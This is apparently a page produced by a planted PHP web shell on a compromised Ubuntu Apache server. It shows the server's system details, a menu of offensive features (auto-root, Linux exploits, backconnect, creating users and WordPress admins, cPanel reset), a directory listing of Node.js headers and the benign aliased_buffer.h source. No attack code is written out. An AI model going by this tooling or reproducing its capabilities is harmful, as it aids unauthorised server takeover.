Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
include /
nodejs /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
aliased_buffer.h
7.91
KB
-rw-r--r--
async_wrap-inl.h
2.96
KB
-rw-r--r--
async_wrap.h
10.07
KB
-rw-r--r--
base64.h
5.57
KB
-rw-r--r--
base_object-inl.h
10.82
KB
-rw-r--r--
base_object.h
11.83
KB
-rw-r--r--
callback_queue-inl.h
2.59
KB
-rw-r--r--
callback_queue.h
1.96
KB
-rw-r--r--
connect_wrap.h
584
B
-rw-r--r--
connection_wrap.h
686
B
-rw-r--r--
debug_utils-inl.h
7.36
KB
-rw-r--r--
debug_utils.h
6.44
KB
-rw-r--r--
diagnosticfilename-inl.h
768
B
-rw-r--r--
env-inl.h
40.44
KB
-rw-r--r--
env.h
65.9
KB
-rw-r--r--
handle_wrap.h
3.98
KB
-rw-r--r--
histogram-inl.h
1.68
KB
-rw-r--r--
histogram.h
2.83
KB
-rw-r--r--
http_parser_adaptor.h
609
B
-rw-r--r--
inspector_agent.h
4.88
KB
-rw-r--r--
inspector_io.h
2.19
KB
-rw-r--r--
inspector_profiler.h
4.53
KB
-rw-r--r--
inspector_socket.h
1.53
KB
-rw-r--r--
inspector_socket_server.h
3.5
KB
-rw-r--r--
js_native_api.h
28.13
KB
-rw-r--r--
js_native_api_types.h
4.14
KB
-rw-r--r--
js_native_api_v8.h
12.23
KB
-rw-r--r--
js_native_api_v8_internals.h
1.28
KB
-rw-r--r--
js_stream.h
1.35
KB
-rw-r--r--
json_utils.h
3.63
KB
-rw-r--r--
memory_tracker-inl.h
11.5
KB
-rw-r--r--
memory_tracker.h
11.23
KB
-rw-r--r--
module_wrap.h
3.1
KB
-rw-r--r--
node.h
43.55
KB
-rw-r--r--
node_api.h
11.41
KB
-rw-r--r--
node_api_types.h
1.62
KB
-rw-r--r--
node_binding.h
3.25
KB
-rw-r--r--
node_buffer.h
3.6
KB
-rw-r--r--
node_constants.h
3.67
KB
-rw-r--r--
node_context_data.h
1.14
KB
-rw-r--r--
node_contextify.h
5.37
KB
-rw-r--r--
node_crypto.h
29.59
KB
-rw-r--r--
node_crypto_bio.h
6.22
KB
-rw-r--r--
node_crypto_clienthello-inl.h
2.6
KB
-rw-r--r--
node_crypto_clienthello.h
4.16
KB
-rw-r--r--
node_crypto_common.h
3.48
KB
-rw-r--r--
node_crypto_groups.h
23.04
KB
-rw-r--r--
node_dir.h
1.31
KB
-rw-r--r--
node_dtrace.h
2.89
KB
-rw-r--r--
node_errors.h
11.89
KB
-rw-r--r--
node_file-inl.h
9.81
KB
-rw-r--r--
node_file.h
12.2
KB
-rw-r--r--
node_http2.h
49.14
KB
-rw-r--r--
node_http2_state.h
4.58
KB
-rw-r--r--
node_http_parser_impl.h
28.9
KB
-rw-r--r--
node_i18n.h
4.3
KB
-rw-r--r--
node_internals.h
13.34
KB
-rw-r--r--
node_main_instance.h
3.05
KB
-rw-r--r--
node_mem-inl.h
3.6
KB
-rw-r--r--
node_mem.h
1.28
KB
-rw-r--r--
node_messaging.h
11.96
KB
-rw-r--r--
node_metadata.h
3.46
KB
-rw-r--r--
node_mutex.h
6.07
KB
-rw-r--r--
node_native_module.h
3.31
KB
-rw-r--r--
node_native_module_env.h
2.33
KB
-rw-r--r--
node_object_wrap.h
3.78
KB
-rw-r--r--
node_options-inl.h
14.68
KB
-rw-r--r--
node_options.h
15.68
KB
-rw-r--r--
node_perf.h
5.21
KB
-rw-r--r--
node_perf_common.h
2.99
KB
-rw-r--r--
node_platform.h
5.88
KB
-rw-r--r--
node_process.h
1.77
KB
-rw-r--r--
node_report.h
1.35
KB
-rw-r--r--
node_revert.h
2.45
KB
-rw-r--r--
node_root_certs.h
212.59
KB
-rw-r--r--
node_sockaddr-inl.h
4.61
KB
-rw-r--r--
node_sockaddr.h
3.56
KB
-rw-r--r--
node_stat_watcher.h
2.15
KB
-rw-r--r--
node_union_bytes.h
3.2
KB
-rw-r--r--
node_url.h
6.16
KB
-rw-r--r--
node_v8_platform-inl.h
6.19
KB
-rw-r--r--
node_version.h
3.69
KB
-rw-r--r--
node_wasi.h
5.13
KB
-rw-r--r--
node_watchdog.h
4.17
KB
-rw-r--r--
node_win32_etw_provider-inl.h
11.67
KB
-rw-r--r--
node_win32_etw_provider.h
3.67
KB
-rw-r--r--
node_worker.h
4.78
KB
-rw-r--r--
pipe_wrap.h
2.67
KB
-rw-r--r--
req_wrap-inl.h
5.4
KB
-rw-r--r--
req_wrap.h
2.22
KB
-rw-r--r--
sharedarraybuffer_metadata.h
2.55
KB
-rw-r--r--
spawn_sync.h
6.87
KB
-rw-r--r--
stream_base-inl.h
9.16
KB
-rw-r--r--
stream_base.h
15.92
KB
-rw-r--r--
stream_pipe.h
2.15
KB
-rw-r--r--
stream_wrap.h
4.03
KB
-rw-r--r--
string_bytes.h
5.59
KB
-rw-r--r--
string_decoder-inl.h
858
B
-rw-r--r--
string_decoder.h
1.5
KB
-rw-r--r--
string_search.h
20.92
KB
-rw-r--r--
tcp_wrap.h
3.65
KB
-rw-r--r--
threadpoolwork-inl.h
2.05
KB
-rw-r--r--
tls_wrap.h
7.88
KB
-rw-r--r--
tty_wrap.h
2.18
KB
-rw-r--r--
udp_wrap.h
8.59
KB
-rw-r--r--
util-inl.h
16.42
KB
-rw-r--r--
util.h
25.51
KB
-rw-r--r--
v8abbr.h
5.09
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : aliased_buffer.h
#ifndef SRC_ALIASED_BUFFER_H_ #define SRC_ALIASED_BUFFER_H_ #if defined(NODE_WANT_INTERNALS) && NODE_WANT_INTERNALS #include <cinttypes> #include "util-inl.h" #include "v8.h" namespace node { /** * Do not use this class directly when creating instances of it - use the * Aliased*Array defined at the end of this file instead. * * This class encapsulates the technique of having a native buffer mapped to * a JS object. Writes to the native buffer can happen efficiently without * going through JS, and the data is then available to user's via the exposed * JS object. * * While this technique is computationally efficient, it is effectively a * write to JS program state w/out going through the standard * (monitored) API. Thus any VM capabilities to detect the modification are * circumvented. * * The encapsulation herein provides a placeholder where such writes can be * observed. Any notification APIs will be left as a future exercise. */ template <class NativeT, class V8T, // SFINAE NativeT to be scalar typename = std::enable_if_t<std::is_scalar<NativeT>::value>> class AliasedBufferBase { public: AliasedBufferBase(v8::Isolate* isolate, const size_t count) : isolate_(isolate), count_(count), byte_offset_(0) { CHECK_GT(count, 0); const v8::HandleScope handle_scope(isolate_); const size_t size_in_bytes = MultiplyWithOverflowCheck(sizeof(NativeT), count); // allocate v8 ArrayBuffer v8::Local<v8::ArrayBuffer> ab = v8::ArrayBuffer::New( isolate_, size_in_bytes); buffer_ = static_cast<NativeT*>(ab->GetContents().Data()); // allocate v8 TypedArray v8::Local<V8T> js_array = V8T::New(ab, byte_offset_, count); js_array_ = v8::Global<V8T>(isolate, js_array); } /** * Create an AliasedBufferBase over a sub-region of another aliased buffer. * The two will share a v8::ArrayBuffer instance & * a native buffer, but will each read/write to different sections of the * native buffer. * * Note that byte_offset must by aligned by sizeof(NativeT). */ // TODO(refack): refactor into a non-owning `AliasedBufferBaseView` AliasedBufferBase( v8::Isolate* isolate, const size_t byte_offset, const size_t count, const AliasedBufferBase<uint8_t, v8::Uint8Array>& backing_buffer) : isolate_(isolate), count_(count), byte_offset_(byte_offset) { const v8::HandleScope handle_scope(isolate_); v8::Local<v8::ArrayBuffer> ab = backing_buffer.GetArrayBuffer(); // validate that the byte_offset is aligned with sizeof(NativeT) CHECK_EQ(byte_offset & (sizeof(NativeT) - 1), 0); // validate this fits inside the backing buffer CHECK_LE(MultiplyWithOverflowCheck(sizeof(NativeT), count), ab->ByteLength() - byte_offset); buffer_ = reinterpret_cast<NativeT*>( const_cast<uint8_t*>(backing_buffer.GetNativeBuffer() + byte_offset)); v8::Local<V8T> js_array = V8T::New(ab, byte_offset, count); js_array_ = v8::Global<V8T>(isolate, js_array); } AliasedBufferBase(const AliasedBufferBase& that) : isolate_(that.isolate_), count_(that.count_), byte_offset_(that.byte_offset_), buffer_(that.buffer_) { js_array_ = v8::Global<V8T>(that.isolate_, that.GetJSArray()); } AliasedBufferBase& operator=(AliasedBufferBase&& that) noexcept { this->~AliasedBufferBase(); isolate_ = that.isolate_; count_ = that.count_; byte_offset_ = that.byte_offset_; buffer_ = that.buffer_; js_array_.Reset(isolate_, that.js_array_.Get(isolate_)); that.buffer_ = nullptr; that.js_array_.Reset(); return *this; } /** * Helper class that is returned from operator[] to support assignment into * a specified location. */ class Reference { public: Reference(AliasedBufferBase<NativeT, V8T>* aliased_buffer, size_t index) : aliased_buffer_(aliased_buffer), index_(index) {} Reference(const Reference& that) : aliased_buffer_(that.aliased_buffer_), index_(that.index_) { } inline Reference& operator=(const NativeT& val) { aliased_buffer_->SetValue(index_, val); return *this; } inline Reference& operator=(const Reference& val) { return *this = static_cast<NativeT>(val); } operator NativeT() const { return aliased_buffer_->GetValue(index_); } inline Reference& operator+=(const NativeT& val) { const NativeT current = aliased_buffer_->GetValue(index_); aliased_buffer_->SetValue(index_, current + val); return *this; } inline Reference& operator+=(const Reference& val) { return this->operator+=(static_cast<NativeT>(val)); } inline Reference& operator-=(const NativeT& val) { const NativeT current = aliased_buffer_->GetValue(index_); aliased_buffer_->SetValue(index_, current - val); return *this; } private: AliasedBufferBase<NativeT, V8T>* aliased_buffer_; size_t index_; }; /** * Get the underlying v8 TypedArray overlayed on top of the native buffer */ v8::Local<V8T> GetJSArray() const { return js_array_.Get(isolate_); } /** * Get the underlying v8::ArrayBuffer underlying the TypedArray and * overlaying the native buffer */ v8::Local<v8::ArrayBuffer> GetArrayBuffer() const { return GetJSArray()->Buffer(); } /** * Get the underlying native buffer. Note that all reads/writes should occur * through the GetValue/SetValue/operator[] methods */ inline const NativeT* GetNativeBuffer() const { return buffer_; } /** * Synonym for GetBuffer() */ inline const NativeT* operator * () const { return GetNativeBuffer(); } /** * Set position index to given value. */ inline void SetValue(const size_t index, NativeT value) { DCHECK_LT(index, count_); buffer_[index] = value; } /** * Get value at position index */ inline const NativeT GetValue(const size_t index) const { DCHECK_LT(index, count_); return buffer_[index]; } /** * Effectively, a synonym for GetValue/SetValue */ Reference operator[](size_t index) { return Reference(this, index); } NativeT operator[](size_t index) const { return GetValue(index); } size_t Length() const { return count_; } // Should only be used to extend the array. // Should only be used on an owning array, not one created as a sub array of // an owning `AliasedBufferBase`. void reserve(size_t new_capacity) { DCHECK_GE(new_capacity, count_); DCHECK_EQ(byte_offset_, 0); const v8::HandleScope handle_scope(isolate_); const size_t old_size_in_bytes = sizeof(NativeT) * count_; const size_t new_size_in_bytes = MultiplyWithOverflowCheck(sizeof(NativeT), new_capacity); // allocate v8 new ArrayBuffer v8::Local<v8::ArrayBuffer> ab = v8::ArrayBuffer::New( isolate_, new_size_in_bytes); // allocate new native buffer NativeT* new_buffer = static_cast<NativeT*>(ab->GetContents().Data()); // copy old content memcpy(new_buffer, buffer_, old_size_in_bytes); // allocate v8 TypedArray v8::Local<V8T> js_array = V8T::New(ab, byte_offset_, new_capacity); // move over old v8 TypedArray js_array_ = std::move(v8::Global<V8T>(isolate_, js_array)); buffer_ = new_buffer; count_ = new_capacity; } private: v8::Isolate* isolate_; size_t count_; size_t byte_offset_; NativeT* buffer_; v8::Global<V8T> js_array_; }; typedef AliasedBufferBase<int32_t, v8::Int32Array> AliasedInt32Array; typedef AliasedBufferBase<uint8_t, v8::Uint8Array> AliasedUint8Array; typedef AliasedBufferBase<uint32_t, v8::Uint32Array> AliasedUint32Array; typedef AliasedBufferBase<double, v8::Float64Array> AliasedFloat64Array; typedef AliasedBufferBase<uint64_t, v8::BigUint64Array> AliasedBigUint64Array; } // namespace node #endif // defined(NODE_WANT_INTERNALS) && NODE_WANT_INTERNALS #endif // SRC_ALIASED_BUFFER_H_
Close